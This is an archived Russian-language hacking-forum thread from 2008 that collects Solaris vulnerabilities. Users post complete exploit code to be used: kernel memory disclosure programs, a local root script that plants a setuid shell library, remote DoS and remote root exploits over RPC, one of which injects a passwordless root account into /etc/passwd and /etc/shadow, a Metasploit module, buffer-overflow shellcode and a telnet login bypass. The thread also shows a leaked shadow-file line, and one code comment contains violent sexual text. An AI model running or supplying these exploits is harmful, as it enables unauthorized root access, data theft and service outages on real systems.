PDA

Просмотр полной версии : [ Обзор уязвимостей Solaris ]


halkfild
21.01.2008, 20:02
URL производителя: www.sun.com

Solaris 10-8
Уязвимость позволяет удаленному злоумышленнику получить несанкционированный доступ к конфиденциальной информации на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при использовании fifofs. Атакующий может получить несанкционированный доступ к конфиденциальной информации в памяти ядра.


/* 10/2007: public release
* SPARC
* Solaris 8 without 109454-06
* Solaris 9 without 117471-04
* Solaris 10 without 127737-01
* x86
* Solaris 8 without 109455-06
* Solaris 9 without 117472-04
* Solaris 10 without 127738-01
*
* Solaris fifofs I_PEEK Kernel Memory Disclosure
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT 1000

int main(int argc, char *argv[])
{
struct strpeek strpeek;
char *buf, *end;
int pg = PAGE_COUNT, fd, pagesz, bufsz;

fprintf(stderr,
"---------------------------------------\n"
" Solaris fifofs I_PEEK Kmem Disclosure\n"
" By qaaz\n"
"---------------------------------------\n");

if (argc > 1) pg = atoi(argv[1]);

pagesz = getpagesize();

if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
perror("mknod");
return -1;
}

switch (fork()) {
case -1:
perror("fork");
goto cleanup;
case 0:
if ((fd = open("fifo", O_WRONLY)) < 0) {
perror("open");
exit(0);
}
write(fd, "abcd", 4);
exit(0);
break;
default:
if ((fd = open("fifo", O_RDONLY)) < 0) {
perror("open");
goto cleanup;
}
break;
}

bufsz = (pg + 1) * pagesz;
if (!(buf = memalign(pagesz, bufsz))) {
perror("malloc");
goto cleanup;
}

memset(buf, 0, bufsz);
end = buf + (pg * pagesz);

fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
fflush(stderr);

if (mprotect(end, pagesz, PROT_NONE) < 0) {
perror("mprotect");
goto cleanup;
}

memset(&strpeek, 0, sizeof(strpeek));
strpeek.databuf.buf = buf;
strpeek.databuf.maxlen = -1;
if (ioctl(fd, I_PEEK, &strpeek) < 0) {
perror("ioctl");
goto cleanup;
}

while (end > buf && end[-1] == 0)
end--;
fprintf(stderr, "== %d\n", (int) (end - buf));
fflush(stderr);

if (!isatty(1))
write(1, buf, (size_t) (end - buf));

cleanup:
unlink("fifo");
return 0;
}


Программа: Sun Microsystems Solaris 10
Уязвимость позволяет удаленному злоумышленнику получить несанкционированный доступ к конфиденциальной информации на целевой системе. Уязвимость существует из-за ошибки в сбросе или проверке прав доступа для целевого файла. Атакующий может указать только режим проверки (-v), также как режим отладки (-d), и указать целевой файл /etc/shadow, что заставит srsexec вывести первую линию файла /etc/shadow в сообщениях отладки.

Пример:

$ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED

verify_binary(OWNED)
srsexec: binary_name: OWNED
srsexec: name_buf: OWNED_______________
binaries file line: root:omhyabndnAtNw:6
binaries file line: :6445::::::

smmsp:NP
Security verification failed for binary: OWNED
see SYSLOG(/var/adm/messages) for errors


Программа: Sun Solaris 10 (x86, SPARC)
Уязвимость позволяет локальному злоумышленнику выполнить DoS атаку на целевую систему, перезаписать произвольные файлы или повысить свои привилегии. Уязвимость существует из-за небезопасного использования переменных окружения в Netscape Portable Runtime (NSPR). Атакующий может выполнить DoS атаку на целевую систему, перезаписать произвольные файлы или повысить свои привилегии.

#!/bin/sh

#
# $Id: raptor_libnspr3,v 1.1 2006/10/24 15:54:57 raptor Exp $
#
# raptor_libnspr3 - Solaris 10 libnspr constructor exploit
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Local exploitation of a design error vulnerability in version 4.6.1 of
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to
# create or overwrite arbitrary files on the system. The problem exists
# because environment variables are used to create log files. Even when the
# program is setuid, users can specify a log file that will be created with
# elevated privileges (CVE-2006-4842).
#
# Yet another newschool version of the local root exploit: this time we place
# our code in the global constructor (ctors) for the library, as suggested by
# gera. This way, we don't have to hide a real function and we have a generic
# library that can be used in all exploits like this. To avoid annoying side-
# effects, i use trusted directories and LD_LIBRARY_PATH instead of replacing
# a library in the default search path.
#
# See also:
# http://www.0xdeadbeef.info/exploits/raptor_libnspr
# http://www.0xdeadbeef.info/exploits/raptor_libnspr2
#
# Usage:
# $ chmod +x raptor_libnspr3
# $ ./raptor_libnspr3
# [...]
# Sun Microsystems Inc. SunOS 5.10 Generic January 2005
# # id
# uid=0(root) gid=1(other)
# # rm /usr/lib/secure/libldap.so.5
# #
#
# Vulnerable platforms (SPARC):
# Solaris 10 without patch 119213-10 [tested]
#
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
#

echo "raptor_libnspr3 - Solaris 10 libnspr constructor exploit"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the environment
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/usr/lib/secure/libldap.so.5
export NSPR_LOG_MODULES NSPR_LOG_FILE

# gimme -rw-rw-rw-!
umask 0

# setuid program linked to /usr/lib/mps/libnspr4.so
/usr/bin/chkey

# other good setuid targets
#/usr/bin/passwd
#/usr/bin/lp
#/usr/bin/cancel
#/usr/bin/lpset
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
#/usr/sbin/lpmove
#/usr/bin/su
#/usr/bin/mailq

# prepare the evil shared library
echo "void __attribute__ ((constructor)) cons() {" > /tmp/ctors.c
echo " setuid(0);" >> /tmp/ctors.c
echo " execle(\"/bin/ksh\", \"ksh\", 0, 0);" >> /tmp/ctors.c
echo "}" >> /tmp/ctors.c
gcc -fPIC -g -O2 -shared -o /usr/lib/secure/libldap.so.5 /tmp/ctors.c -lc
if [ $? -ne 0 ]; then
echo "problems compiling evil shared library, check your gcc"
exit 1
fi

# newschool LD_LIBRARY_PATH foo;)
unset NSPR_LOG_MODULES NSPR_LOG_FILE
LD_LIBRARY_PATH=/usr/lib/secure su -



Тип: удаленная
Опасность: 7/10
Описание: Определенные ICMP-пакеты приводят к краху системы.
Затронутые продукты: SUN : Solaris 10
Файлы: SunOS 5.10 ICMP Remote Kernel Crash Exploit Code http://securityvulns.ru/files/icmp.c


дополнительно
http://securityvulns.ru/soft/2205.html
http://securityvulns.ru/soft/4083.html
http://www.securitylab.ru/search/index.php?q=sun+solaris&where=iblock_vulnerability
https://www.securinfos.info/english/security-advisories-alerts/20080111-Sun-Solaris-10-PostgreSQL-Multiple-Vulnerabilities.php


з.ы.
судя по потребности в предыдущих темах /*уязвимости бсд, *никс*/ было принято решение создать тему и по сан соларис, так как пару раз спрашивали насчет этой ос. источника одного нет, так как это собиралось с нескольких источников.
Обзор нужен для систематизации существующих багов и для более быстрого поиска.
вообщем кому нужно смотрим, используем.. у кого есть что добавить - добавляем сюда.
Авторство в експлоитах принадлежит сугубо авторам

если тема не нужная - модераторы потрите ее. /*в поиске смотрел небыло*/

MacTep
21.01.2008, 20:08
Было от Solide Snake, по-моему, как и про BSD, и про MacOS. Только, похоже, их из паблика убрали. Так что пока тереть не будем.
Ветку закрепил. Дополнение приветствуется.

iddqd
16.03.2008, 15:34
Solaris fifofs I_PEEK kernel memory leak

Vulnerable: Solaris 8/9/10

Exploit:

/*
* $Id: raptor_peek.c,v 1.1 2007/10/18 08:09:02 raptor Exp $
*
* raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak
* Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* [Lame] integer signedness error in FIFO filesystems (named pipes) on Sun
* Solaris 8 through 10 allows local users to read the contents of unspecified
* memory locations via a negative value to the I_PEEK ioctl (CVE-2007-5225).
*
* /\ AS PART OF A VAST WORLD-WIDE CONSPIRACY
* hjm / \ I COMMAND THEE: BEAT OFF UNTO ME
* /,--.\
* /< () >\ IF I SAY "FNORD" AT THE END OF A SENTENCE
* / `--' \ DOES THAT MAKE ME REALLY FUNNY OR SOMEONE
* / \ WHO NEEDS TO GET FUCKING BEATEN TO NEAR
* / \ DEATH AND THEN RAPED WITH A BROOM
* /______________\
* AS YOU CAN SEE THAT'S REALLY TWO JOKES IN ONE
* SO YOU REALLY GET YOUR MONEY'S WORTH HERE
* Usage:
* $ gcc raptor_peek.c -o raptor_peek -Wall
* $ ./raptor_peek kerndump 666666
* [...]
* $ ls -l kerndump
* -rwx------ 1 raptor staff 666666 Oct 17 19:33 kerndump
*
* Vulnerable platforms (SPARC):
* Solaris 8 without patch 109454-06 [tested]
* Solaris 9 without patch 117471-04 [tested]
* Solaris 10 without patch 127737-01 [tested]
*
* Vulnerable platforms (x86):
* Solaris 8 without patch 109455-06 [untested]
* Solaris 9 without patch 117472-04 [untested]
* Solaris 10 without patch 127738-01 [untested]
*/

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <stropts.h>
#include <unistd.h>
#include <sys/stat.h>

#define INFO1 "raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak"
#define INFO2 "Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define BADFIFO "/tmp/fnord"
#define BUFSIZE 1000000

int errno;

int main(int argc, char **argv)
{
int fd, fifo;
size_t out, bufsize = BUFSIZE;
char *buf;
struct strpeek peek;

/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

/* read command line */
if (argc < 2) {
fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]);
exit(1);
}
if (argc > 2)
if ((bufsize = atoi(argv[2])) == 0) {
fprintf(stderr, "Error (atoi): invalid outsize\n");
exit(1);
}

/* print some output */
fprintf(stderr, "Using outfile\t: %s\n", argv[1]);
fprintf(stderr, "Using outsize\t: %u\n\n", bufsize);

/* prepare the output buffer */
if ((buf = (char *)malloc(bufsize)) == NULL) {
perror("Error (malloc)");
fprintf(stderr, "Hint: Try again with a smaller output size\n");
exit(1);
}
memset(buf, 0, bufsize);

/* create the named pipe */
unlink(BADFIFO);
if (mknod(BADFIFO, S_IFIFO | S_IRWXU, 0) < 0) {
perror("Error (mknod)");
exit(1);
}

switch(fork()) {
case -1: /* cannot fork */
perror("Error (fork)");
exit(1);
case 0: /* the child writes */
if ((fifo = open(BADFIFO, O_WRONLY, 0)) < 0) {
perror("Error (open)");
exit(1);
}
write(fifo, "FNORD", 5);
exit(0);
default: /* the parent reads */
/* FALL THROUGH */
;
}

/* perform the MAGICK */
if ((fifo = open(BADFIFO, O_RDONLY, 0)) < 0) {
perror("Error (open)");
exit(1);
}

memset(&peek, 0, sizeof(peek));
peek.databuf.buf = buf;
peek.databuf.maxlen = -1; /* FNORD! */

if (ioctl(fifo, I_PEEK, &peek) < 0 ) {
perror("Error (ioctl)");
close(fifo);
exit(1);
}

/* save output to outfile */
if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) {
perror("Error (open)");
close(fifo);
exit(1);
}
out = write(fd, buf, bufsize);

fprintf(stderr, "FNORD! %u bytes written to %s\n", out, argv[1]);
fprintf(stderr, "Hint: Try also with a bigger output size\n");

/* cleanup (who cares about free?;) */
close(fd);
close(fifo);

exit(0);
}




Sun Solaris 'rpc.metad' Remote Denial of Service Vulnerability

Vulnerable: Sun Solaris 10_x86
Sun Solaris 10

Exploit:

/*################################################# #########*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC #*/
/*## causes DoS on rpc.metad #*/
/*## (C) 2008 - Kingcope #*/
/*################################################# #########*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
return(TRUE);
}

main(int argc,char **argv){
char buffer[30000],address[4],*b,*cmd;
int i,c,n,flag=1,vers=0,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;

printf("rpc.metad for solaris 10\n\n");

if(argc<2){
printf("usage: %s address\n",argv[0]);
exit(-1);
}

printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC);

printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);

adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
buffer[3000]=0;

req.string=buffer;

stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
printf("sent!\n"); /* if(!flag) exit(0);*/

}
}

iddqd
20.03.2008, 15:35
Sun Solaris <= 10 rpc.ypupdated Remote Root Exploit

Vulnerable: Sun Solaris <= 10 [tested on SunOS 5.10]

Exploit:
ypk.c

/*update: kcope/year2008/tested on SunOS 5.10//

KEYSERV/YPUPDATED (SunOS 4.1.3/RPC SERVICES)

If we send an MAP UPDATE to a remote YPUPDATED (via KEYSERV)
it executes a shell through which extra commands may be launched
on the remote host by passing '|shell command'.

i.e. the COMM variable contains a pipe character after which a
command may be passed. You may change the command by changing this.



*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <rpc/rpc.h>

#define MAXMAPNAMELEN 255
#define MAXYPDATALEN 1023
#define MAXERRMSGLEN 255

typedef struct{
unsigned int yp_buf_len;
char * yp_buf_val;
} yp_buf;

struct ypupdate_args{
char * mapname;
yp_buf key;
yp_buf datum;
};
typedef struct ypupdate_args ypupdate_args;

#ifdef __cplusplus
extern "C" bool_t xdr_ypupdate_args(XDR *,ypupdate_args *);
#elif __STDC__
extern bool_t xdr_ypupdate_args(XDR *,ypupdate_args *);
#else
bool_t xdr_ypupdate_args();
#endif

void main(argc, argv)
int argc;
char *argv[];
{

CLIENT * cli;

unsigned long prog=100028;
unsigned int vers=1;

struct sockaddr_in skn;
struct timeval timeVal;
struct hostent * hostEnt;

ypupdate_args ypArg;
unsigned long rtnval;

unsigned int desc;

char * comm = "|echo \"r00t::0:0:Super-User die zweite:/:/sbin/sh\" >> /etc/passwd;echo \"r00t::6445::::::\" >> /etc/shadow;";

if(argc<2) {
printf("example: yxp target\n");
exit(1);
}

timeVal.tv_usec=0;
timeVal.tv_sec=15;
desc=RPC_ANYSOCK;

ypArg.datum.yp_buf_val="x";
ypArg.datum.yp_buf_len=strlen(ypArg.datum.yp_buf_v al)+1;

ypArg.key.yp_buf_val="x";
ypArg.key.yp_buf_len=strlen(ypArg.key.yp_buf_val)+ 1;

ypArg.mapname=comm;

if ((hostEnt=gethostbyname(argv[1]))==NULL){
printf("gethostbyname failure\n");
exit(1);
}

skn.sin_family=AF_INET;skn.sin_port=htons(0);
bcopy(hostEnt->h_addr,&skn.sin_addr.s_addr,4);

if ((cli=clntudp_create(&skn,prog,vers,timeVal,&desc))==NULL){
printf("clntudp_create failure\n");
exit(1);
}

cli->cl_auth=authunix_create("localhost",0,0,0,0);

clnt_call(cli,1,xdr_ypupdate_args,&ypArg,xdr_u_int,&rtnval,timeVal);
}


ypupdate_prot.h

/*
* Please do not edit this file.
* It was generated using rpcgen.
*/

#ifndef _YPUPDATE_PROT_H_RPCGEN
#define _YPUPDATE_PROT_H_RPCGEN

#include <rpc/rpc.h>

/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */

/*
* Compiled from ypupdate_prot.x using rpcgen
* This is NOT source code!
* DO NOT EDIT THIS FILE!
*/
#define MAXMAPNAMELEN 255
#define MAXYPDATALEN 1023
#define MAXERRMSGLEN 255

typedef struct {
u_int yp_buf_len;
char *yp_buf_val;
} yp_buf;
#ifdef __cplusplus
extern "C" bool_t xdr_yp_buf(XDR *, yp_buf*);
#elif __STDC__
extern bool_t xdr_yp_buf(XDR *, yp_buf*);
#else /* Old Style C */
bool_t xdr_yp_buf();
#endif /* Old Style C */


struct ypupdate_args {
char *mapname;
yp_buf key;
yp_buf datum;
};
typedef struct ypupdate_args ypupdate_args;
#ifdef __cplusplus
extern "C" bool_t xdr_ypupdate_args(XDR *, ypupdate_args*);
#elif __STDC__
extern bool_t xdr_ypupdate_args(XDR *, ypupdate_args*);
#else /* Old Style C */
bool_t xdr_ypupdate_args();
#endif /* Old Style C */


struct ypdelete_args {
char *mapname;
yp_buf key;
};
typedef struct ypdelete_args ypdelete_args;
#ifdef __cplusplus
extern "C" bool_t xdr_ypdelete_args(XDR *, ypdelete_args*);
#elif __STDC__
extern bool_t xdr_ypdelete_args(XDR *, ypdelete_args*);
#else /* Old Style C */
bool_t xdr_ypdelete_args();
#endif /* Old Style C */


#define YPU_PROG ((u_long)100028)
#define YPU_VERS ((u_long)1)

#ifdef __cplusplus
#define YPU_CHANGE ((u_long)1)
extern "C" u_int * ypu_change_1(ypupdate_args *, CLIENT *);
extern "C" u_int * ypu_change_1_svc(ypupdate_args *, struct svc_req *);
#define YPU_INSERT ((u_long)2)
extern "C" u_int * ypu_insert_1(ypupdate_args *, CLIENT *);
extern "C" u_int * ypu_insert_1_svc(ypupdate_args *, struct svc_req *);
#define YPU_DELETE ((u_long)3)
extern "C" u_int * ypu_delete_1(ypdelete_args *, CLIENT *);
extern "C" u_int * ypu_delete_1_svc(ypdelete_args *, struct svc_req *);
#define YPU_STORE ((u_long)4)
extern "C" u_int * ypu_store_1(ypupdate_args *, CLIENT *);
extern "C" u_int * ypu_store_1_svc(ypupdate_args *, struct svc_req *);

#elif __STDC__
#define YPU_CHANGE ((u_long)1)
extern u_int * ypu_change_1(ypupdate_args *, CLIENT *);
extern u_int * ypu_change_1_svc(ypupdate_args *, struct svc_req *);
#define YPU_INSERT ((u_long)2)
extern u_int * ypu_insert_1(ypupdate_args *, CLIENT *);
extern u_int * ypu_insert_1_svc(ypupdate_args *, struct svc_req *);
#define YPU_DELETE ((u_long)3)
extern u_int * ypu_delete_1(ypdelete_args *, CLIENT *);
extern u_int * ypu_delete_1_svc(ypdelete_args *, struct svc_req *);
#define YPU_STORE ((u_long)4)
extern u_int * ypu_store_1(ypupdate_args *, CLIENT *);
extern u_int * ypu_store_1_svc(ypupdate_args *, struct svc_req *);

#else /* Old Style C */
#define YPU_CHANGE ((u_long)1)
extern u_int * ypu_change_1();
extern u_int * ypu_change_1_svc();
#define YPU_INSERT ((u_long)2)
extern u_int * ypu_insert_1();
extern u_int * ypu_insert_1_svc();
#define YPU_DELETE ((u_long)3)
extern u_int * ypu_delete_1();
extern u_int * ypu_delete_1_svc();
#define YPU_STORE ((u_long)4)
extern u_int * ypu_store_1();
extern u_int * ypu_store_1_svc();
#endif /* Old Style C */

#endif /* !_YPUPDATE_PROT_H_RPCGEN */


ypupdate_prot_xdr.c

/*
* Please do not edit this file.
* It was generated using rpcgen.
*/

#include "ypupdate_prot.h"
/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */

/*
* Compiled from ypupdate_prot.x using rpcgen
* This is NOT source code!
* DO NOT EDIT THIS FILE!
*/

bool_t
xdr_yp_buf(XDR *xdrs, yp_buf *objp)
{

register long *buf;

if (!xdr_bytes(xdrs, (char **)&objp->yp_buf_val, (u_int *)&objp->yp_buf_len, MAXYPDATALEN)) {
return (FALSE);
}
return (TRUE);
}

bool_t
xdr_ypupdate_args(XDR *xdrs, ypupdate_args *objp)
{

register long *buf;

if (!xdr_string(xdrs, &objp->mapname, MAXMAPNAMELEN)) {
return (FALSE);
}
if (!xdr_yp_buf(xdrs, &objp->key)) {
return (FALSE);
}
if (!xdr_yp_buf(xdrs, &objp->datum)) {
return (FALSE);
}
return (TRUE);
}

bool_t
xdr_ypdelete_args(XDR *xdrs, ypdelete_args *objp)
{

register long *buf;

if (!xdr_string(xdrs, &objp->mapname, MAXMAPNAMELEN)) {
return (FALSE);
}
if (!xdr_yp_buf(xdrs, &objp->key)) {
return (FALSE);
}
return (TRUE);
}


Sun Solaris <= 10 rpc.ypupdated Remote Root Exploit [Metasploit]
Metasploit Code (Ruby):

require 'msf/core'

module Msf

class Exploits::Solaris::Sunrpc::YPUpdateDExec < Msf::Exploit::Remote

include Exploit::Remote::SunRPC

def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris ypupdated Command Execution',
'Description' => %q{
This exploit targets a weakness in the way the ypupdated RPC
application uses the command shell when handling a MAP UPDATE
request. Extra commands may be launched through this command
shell, which runs as root on the remote host, by passing
commands in the format '|<command>'.

Vulnerable systems include Solaris 2.7, 8, 9, and 10, when
ypupdated is started with the '-i' command-line option.
},
'Author' => [ 'I)ruid <druid@caughq.org>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 4498 $',
'References' =>
[
['BID', '1749'],
['CVE', '1999-0209'],
['OSVDB', '11517'],
],
'Privileged' => true,
'Platform' => ['unix', 'solaris'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),
OptInt.new('GID', [false, 'GID to emulate', 0]),
OptInt.new('UID', [false, 'UID to emulate', 0])
], self.class
)
end

def exploit
hostname = datastore['HOSTNAME']
program = 100028
progver = 1
procedure = 1

print_status 'Sending PortMap request for ypupdated program'
pport = sunrpc_create('udp', program, progver)

print_status "Sending MAP UPDATE request with command '#{payload.encoded}'"
print_status 'Waiting for response...'
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
command = '|' + payload.encoded
msg = XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
sunrpc_call(procedure, msg)

sunrpc_destroy

print_good 'No Errors, appears to have succeeded!'
rescue ::Rex::Proto::SunRPC::RPCTimeout
print_status 'Warning: ' + $!
print_status 'Exploit may or may not have succeeded.'
end

end
end

$n@ke
05.04.2008, 13:41
Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit for SunOS <=5.10

http://rapidshare.com/files/105009405/rootme.tar.html


ps: в коплекте идет

1-lamer Solaris Kernel Modules to change /tmp/sh's uid/gid
2-sh ;-)
3- Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit

[ DSU ]
05.04.2008, 22:15
Локальный, даёт GID mail
Уязвимые системы Solaris 8 x86 and SPARC


/*
Usage : ./mailt00l [buffersize] [offset]

Shouts to Trick for various mentoring...

mail : kernel51@libertysurf.fr
www.cyberarmy.com
www.g0tr00t.net
*/



#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 1600

#if defined(__i386__) && defined(__sun__)

#define ARCH "x86 Sun"
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x3b\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\x c0\x89\x46\xc1"
"\x88\x46\xc6\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\x b0\x17\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x 53\x8d\x1e\x89"
"\x5e\x08\x53\xb0\x3b\xe8\xc8\xff\xff\xff\x83\xc4\x 0c\xe8\xc8\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\x ff\xff\xff\xff"
"\xff\xff";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__)

#define ARCH "Sun Sparc"
#define NOP_SIZE 4
/* Shellcode ripped from Aleph1 */
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x 90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\x ec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x 91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}

#endif


int main(int argc, char *argv[])
{
char *ex[2];
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

printf("Archi: %s\n", (char *)ARCH);

if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = buff;
for (i = 0; i < (bsize - strlen(shellcode)) / 2 - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
*(ptr++) = nop[n];
}


for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
memcpy(buff,"OPENWINHOME=",12);
putenv(buff);
printf("Now running: /usr/openwin/bin/mailtool\n");
ex[0] = "/usr/openwin/bin/mailtool";
ex[1] = NULL;
execv(ex[0], ex);
}





Solaris 8 in.lpd remote root exploit НЕ работает на SPARC системах!
http://rapidshare.com/files/105121581/remorse.tar.gz.html

n0rus
18.04.2008, 22:11
Странно, что не упомянута бага в telnet-демоне.

1) Эта уязвимость относится лишь к некоторым релизам Solaris 10 (s10u1 и s10u2) и OpenSolaris/Nevada. Solaris 9 и более старые релизы Solaris не подвержены. Solaris 10 Update 3 так же неуязвим (потому, что по умолчанию в нём включён только демон SSH, и сервис telnet выключен в установке по умолчанию).

2) Эта уязвимость не позволит удалённого доступа root к Solaris-системе, установленной с настройками по умолчанию. Уязвимость не поможет получить доступ к системе с правами root, даже если на ней запущен демон in.telnetd, если только саморучно не закомментировали в своё время строчку в /etc/default/login:

CONSOLE=/dev/consoleДанный пункт не относится ко многим другим системным пользователям, заведённым на системе. Пользуясь данной уязвимостью, можно будет без всяких паролей зайти на систему Solaris под такими аккаунтами, как bin, adm, sys или lp.


$ telnet -l "-fbin" 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1
Escape character is '^]'.
Last login: Sun Feb 11 12:04:55 from 192.168.0.2
Sun Microsystems Inc. SunOS 5.10 Generic January 2005
$ id
$ uid=2(bin) gid=2(bin)

gibson
09.06.2008, 22:58
Sun Solaris "inet_network()" Off-By-One Vulnerability
еализации функции inet_network исправлено переполнение буфера. Подобная проблема во FreeBSD была устранена в январе. Злоумышленник, при отсутствии проверки валидности пользовательского ввода в атакуемом приложении, который используется как параметр функции inet_network(), может вызвать отказ в обслуживании или выполнить свой код через такую программу. Проблеме подвержены Solaris 8, 9 и 10 для платформы SPARC и Solaris 8 для платформы x86;

Sun Solaris Service Tag Registry Local Denial of Service Vulnerability
возможность вызова отказа в обслуживании Solaris локальным злоумышленником через переполнение "/var" раздела, при помощи манипуляций с Service Tag Registry;

Sun Java System Active Server Pages Code Execution Vulnerabilities
возможность удаленного выполнения кода злоумышленника на сервере с установленным пакетом Java System Active Server Pages (Chilisoft, позволяет выполнять ASP скрипты на Unix сервере).

Главная ссылка к новости
http://secunia.com/advisories/30538/